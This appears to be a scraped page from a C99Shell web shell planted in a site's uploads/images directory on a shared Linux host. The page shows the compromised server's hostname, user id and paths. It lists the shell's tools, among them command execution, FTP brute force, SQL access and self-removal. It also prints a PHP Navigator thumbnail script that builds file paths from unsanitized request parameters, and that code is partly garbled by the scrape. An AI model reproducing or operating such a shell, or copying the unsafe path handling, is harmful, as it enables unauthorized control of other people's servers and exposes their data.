!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules/upload/images/   drwxr-xr-x
Free 106.97 GB of 200.55 GB (53.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     thumb.php (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
#=================================
#  PHP Navigator 3.2
#  Coded by: Cyril Sebastian
#  9:36 PM; August 16, 2006    
#  http://navphp.sourceforge.net
#=================================

$dir $_REQUEST['dir'];
$file=$_REQUEST['file'];

include_once(
"../config.php");
include_once(
"../functions.php");

//---------Thumbnail generator-------------
authenticate();

$src_file "$dir/$file";
$x $_GET['size'];
if(!
$x$x=32;

$imginfo = @getimagesize($src_file);
if(!
$imginfo) die();

if(!
extension_loaded('gd'))  @dl('gd.so');
if(!
extension_loaded('gd')) 
    {
header("Content-type: image/gif"); print file_get_contents("nogd.gif"); die();}

$srcX $imginfo[0];
$srcY $imginfo[1];
$type $imginfo[2];

if(
$srcX<$x$destX $srcX;
else 
$destX $x;
if(
$srcY<$x$destY $srcY;
else 
$destY $x;

if(
filesize($src_file)>1000000)
    {
    print 
file_get_contents("exceeds.gif");
    die();
    }

switch(
$type)
    {
        case 
1:
            if(
function_exists('imagecreatefromgif'))
                
$srcImage imagecreatefromgif($src_file);
            break;
        case 
2:
            if(
function_exists('imagecreatefromjpeg'))
                
$srcImage imagecreatefromjpeg($src_file);
            break;
        case 
3:
            if(
function_exists('imagecreatefrompng'))
                
$srcImage imagecreatefrompng($src_file);
            break;
        case 
15:
            if(
function_exists('imagecreatefromwbmp'))
                
$srcImage imagecreatefromwbmp($src_file);
            break;
    }

$destImage imagecreatetruecolor($x$x);
$whiteimagecolorallocate($destImage255255255);
imagefill$destImage00$white);

imagecopyresampled($destImage$srcImage, ($x-$destX)/2, ($x-$destY)/200,  $destX$destY$srcX$srcY);
$grey imagecolorallocate($destImage175175175);
imagerectangle($destImage00,$x-1$x-1$grey);

if (
function_exists("imagegif")) {
    
header("Content-type: image/gif");
    
imagegif($destImage);
}elseif (
function_exists("imagejpeg")) {
    
header("Content-type: image/jpeg");
    
imagejpeg($destImage""30);
} elseif (
function_exists("imagepng")) {
    
header("Content-type: image/png");
    
imagepng($destImage);
} elseif (
function_exists("imagewbmp")) {
    
header("Content-type: image/vnd.wap.wbmp");
    
imagewbmp($destImage);
} else {
    print 
file_get_contents("nogd.gif");
}

@
imagedestroy($srcImage);
@
imagedestroy($destImage);
@
imagedestroy($image);
?>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0102 ]--